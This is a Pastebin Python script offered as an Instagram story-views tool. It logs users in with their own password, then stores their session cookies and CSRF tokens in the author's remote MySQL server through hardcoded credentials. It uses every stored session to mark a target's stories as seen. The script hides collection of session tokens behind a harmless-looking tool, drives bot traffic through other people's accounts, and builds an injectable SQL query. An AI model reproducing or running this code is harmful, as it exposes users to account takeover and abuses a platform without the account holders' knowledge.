Advertisement
ali4300

Story

Jan 6th, 2022
478
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.56 KB | None | 0 0
  1. # pip install pyTelegramBotAPI==3.7.7
  2. import os,sys
  3. import random,json,requests
  4. from time import sleep
  5. from uuid import uuid4
  6. import mysql.connector
  7. from time import sleep as s
  8. def cl():
  9.     os.system("clear")
  10. E = '\033[1;31m'
  11. G = '\033[1;32m'
  12. S = '\033[1;33m'
  13. Z = '\033[1;31m' #احمر
  14. X = '\033[1;33m' #اصفر
  15. Z1 = '\033[2;31m' #احمر ثاني
  16. F = '\033[2;32m' #اخضر
  17. A = '\033[2;39m' #ازرق
  18. C = '\033[2;35m' #وردي
  19. B = '\033[2;36m'#سمائي
  20. Y = '\033[1;34m' #ازرق فاتح
  21. marko_logo = """
  22. \033[1;96m ------------------------
  23. \033[1;32m < COD BY MARKO-TOOLS >
  24. \033[1;96m ------------------------
  25. \033[1;91m  __  __    _    ____  _  _____  
  26. \033[1;92m |  \/  |  / \ |  _ \| |/ / _ \
  27. \033[1;91m | |\/| | / _ \ | |_) | ' / | | |
  28. \033[1;92m | |  | |/ ___ \|  _ <| . \ |_| |
  29. \033[1;91m |_|  |_/_/   \_\_| \_\_|\_\___/
  30.          \033[1;93m _____ ___   ___  _     ____    
  31.         \033[1;92m |_   _/ _ \ / _ \| |   / ___|  
  32.         \033[1;91m   | || | | | | | | |   \___ \  
  33.         \033[1;92m   | || |_| | |_| | |___ ___) |  
  34.         \033[1;91m   |_| \___/ \___/|_____|____/  
  35. \033[1;32m--------------------------------------------------
  36. \033[1;95m
  37. AUTHOR     : MARKO-TOOLS
  38. Telegram   : @Marko_Py
  39. YOUTUBE    : MARKO - TOOLS
  40. GITHUB     : GITHUB.COM/MARKO-TOOLS
  41. \033[1;32m
  42. --------------------------------------------------
  43. """  
  44.  
  45. def a(z):
  46.     for e in z:
  47.      sys.stdout.write(e)
  48.      sys.stdout.flush()
  49.      s(260/20000)
  50.  
  51.  
  52. mydb = mysql.connector.connect(
  53. host = "remotemysql.com",
  54. user = "WTaUK7bNkM",
  55. passwd = "iMD7dgW9nG",
  56. database = "WTaUK7bNkM",
  57. )
  58. mycursor = mydb.cursor()
  59. def add_info(csrf,cookie,username):
  60.     sql = f"INSERT INTO story(csrf , cookie , username) VALUES('{csrf}','{cookie}','{username}')"
  61.     mycursor.execute(sql)
  62.     mydb.commit()
  63.     print("Done Add : ")
  64.  
  65. def read_user(username):
  66.     sql = "SELECT * FROM story"
  67.     mycursor.execute(sql)
  68.     file = mycursor.fetchall()
  69.     for data in file:
  70.         users = data[2]
  71.     if  username == users:
  72.         return True
  73.     else:
  74.         return False
  75.  
  76.  
  77. def start(uuss):
  78.     Done = 0
  79.     Eroor = 0
  80.     mydb2 = mysql.connector.connect(
  81.     host = "remotemysql.com",
  82.     user = "WTaUK7bNkM",
  83.     passwd = "iMD7dgW9nG",
  84.     database = "WTaUK7bNkM",
  85.     )
  86.     mycursor2 = mydb2.cursor()
  87.     sql2 = "SELECT * FROM story"
  88.     mycursor2.execute(sql2)
  89.     file = mycursor2.fetchall()
  90.     for data_sql in file:
  91.         csrf = str(data_sql[0])
  92.         cookie = str(data_sql[1])
  93.         try:
  94.             api = "https://pastebin.com/raw/f9sm9k95"
  95.             req_api = requests.get(api).text
  96.             if str("Marko") in str(req_api):
  97.                 pass
  98.             else:
  99.                 os.system("clear")
  100.                 exit()
  101.             hid = {
  102.             'accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  103.             'accept-language':'en-US,en;q=0.9,ar;q=0.8',
  104.             'cookie': cookie,
  105.             'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Edg/94.0.992.47',}
  106.             s = f'https://www.instagram.com/{uuss}/?__a=1'
  107.             x = requests.get(s,headers=hid).json()
  108.             iid = x['logging_page_id'].split('_')[1]
  109.             surl = f'https://www.instagram.com/graphql/query/?query_hash=c9c56db64beb4c9dea2d17740d0259d9&variables=%7B%22reel_ids%22%3A%5B%22{iid}%22%5D%2C%22tag_names%22%3A%5B%5D%2C%22location_ids%22%3A%5B%5D%2C%22highlight_reel_ids%22%3A%5B%5D%2C%22precomposed_overlay%22%3Afalse%2C%22show_story_viewer_list%22%3Atrue%2C%22story_viewer_fetch_count%22%3A50%2C%22story_viewer_cursor%22%3A%22%22%2C%22stories_video_dash_manifest%22%3Afalse%7D'
  110.             xx = requests.get(surl,headers=hid).json()
  111.             story_count =  len(xx["data"]["reels_media"][0]["items"])
  112.             for i in range(0, story_count):
  113.                 id_story = xx["data"]["reels_media"][0]["items"][i]['id']
  114.                 taken_at_timestamp = xx["data"]["reels_media"][0]["items"][i]['taken_at_timestamp']
  115.                 stories_page = f"https://www.instagram.com/stories/reel/seen"
  116.                 headers = {
  117.                 'accept': '*/*',
  118.                 'accept-encoding': 'gzip, deflate, br',
  119.                 'accept-language': 'en-US,en;q=0.9',
  120.                 'content-length': '127',
  121.                 'content-type': 'application/x-www-form-urlencoded',
  122.                 'cookie': cookie,
  123.                 "origin": "https://www.instagram.com",
  124.                 "referer": f"https://www.instagram.com/stories/{uuss}/{id_story}/",
  125.                 "sec-fetch-dest": "empty",
  126.                 "sec-fetch-mode": "cors",
  127.                 "sec-fetch-site": "same-origin",
  128.                 "user-agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
  129.                 "x-csrftoken": csrf,
  130.                 "x-ig-app-id": "936619743392459",
  131.                 "x-ig-www-claim": "hmac.AR3dC7naiVtTKkwrEY0hwTO9zj4kLxfvf4Srvp3wFyoZFvZV",
  132.                 "x-instagram-ajax": "d3d3aea32e75",
  133.                 "x-requested-with": "XMLHttpRequest"}
  134.                 data = {
  135.                 'reelMediaId': id_story,
  136.                 'reelMediaOwnerId': iid,
  137.                 'reelId': iid,
  138.                 'reelMediaTakenAt': taken_at_timestamp,
  139.                 'viewSeenAt': taken_at_timestamp}
  140.                 xxx = requests.request("POST", stories_page, headers=headers, data=data).status_code
  141.                 if xxx == 200:
  142.                     Done+=1
  143.                 else:
  144.                     Eroor+=1
  145.                 os.system("clear")
  146.                 print(marko_logo)
  147.                 print(f"{E}[{S}!{E}] {B}Done : {G}{Done}")
  148.                 print(f"{E}[{S}!{E}] {B}Eroor : {E}{Eroor}")
  149.                
  150.         except:
  151.             pass
  152.  
  153. a(marko_logo)
  154. s(1.5)
  155. username = str(input(f"{E}[{S}!{E}] {B}Entar username : {G}"))
  156. s(1.5)
  157. password = str(input(f"{E}[{S}!{E}] {B}Entar password : {G}"))
  158. s(1.5)
  159. url = 'https://i.instagram.com/api/v1/accounts/login/'
  160. headers = {
  161.     'User-Agent': 'Instagram 113.0.0.39.122 Android (24/5.0; 515dpi; 1440x2416; huawei/google; Nexus 6P; angler; angler; en_US)',
  162.     'Accept': "*/*",
  163.     'Cookie': 'missing',
  164.     'Accept-Encoding': 'gzip, deflate',
  165.     'Accept-Language': 'en-US',
  166.     'X-IG-Capabilities': '3brTvw==',
  167.     'X-IG-Connection-Type': 'WIFI',
  168.     'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
  169.     'Host': 'i.instagram.com'}
  170. uid = str(uuid4())
  171. data = {'uuid':uid,
  172.     'password':password,
  173.     'username':username,
  174.     'device_id':uid,
  175.     'from_reg':'false',
  176.     '_csrftoken':'missing',
  177.     'login_attempt_countn':'0'}
  178. try:
  179.     req = requests.post(url, headers=headers, data=data)
  180.     if 'logged_in_user' in req.json():
  181.         co = req.cookies
  182.         coo = co.get_dict()
  183.         csrf = coo['csrftoken']
  184.         cookie = f"sessionid={coo['sessionid']};ds_user_id={coo['ds_user_id']};csrftoken={coo['csrftoken']};"
  185.         ch = read_user(username)
  186.         if ch == True:
  187.             os.system("clear")
  188.             a(E+" Existing Account ")
  189.             os.system("exit")
  190.             exit()
  191.         else:
  192.             add_info(csrf,cookie,username)
  193.             a(G+" Done Login : ")
  194.             os.system("clear")
  195.             uuss = str(input(f"{E}[{S}!{E}] {B}Entar target : {G}"))
  196.             start(uuss)
  197.     else:
  198.         print("\n\n")
  199.         a(E+" Eroor Login \n"+S)
  200.         print(req.text)
  201.         exit()
  202. except:
  203.     exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement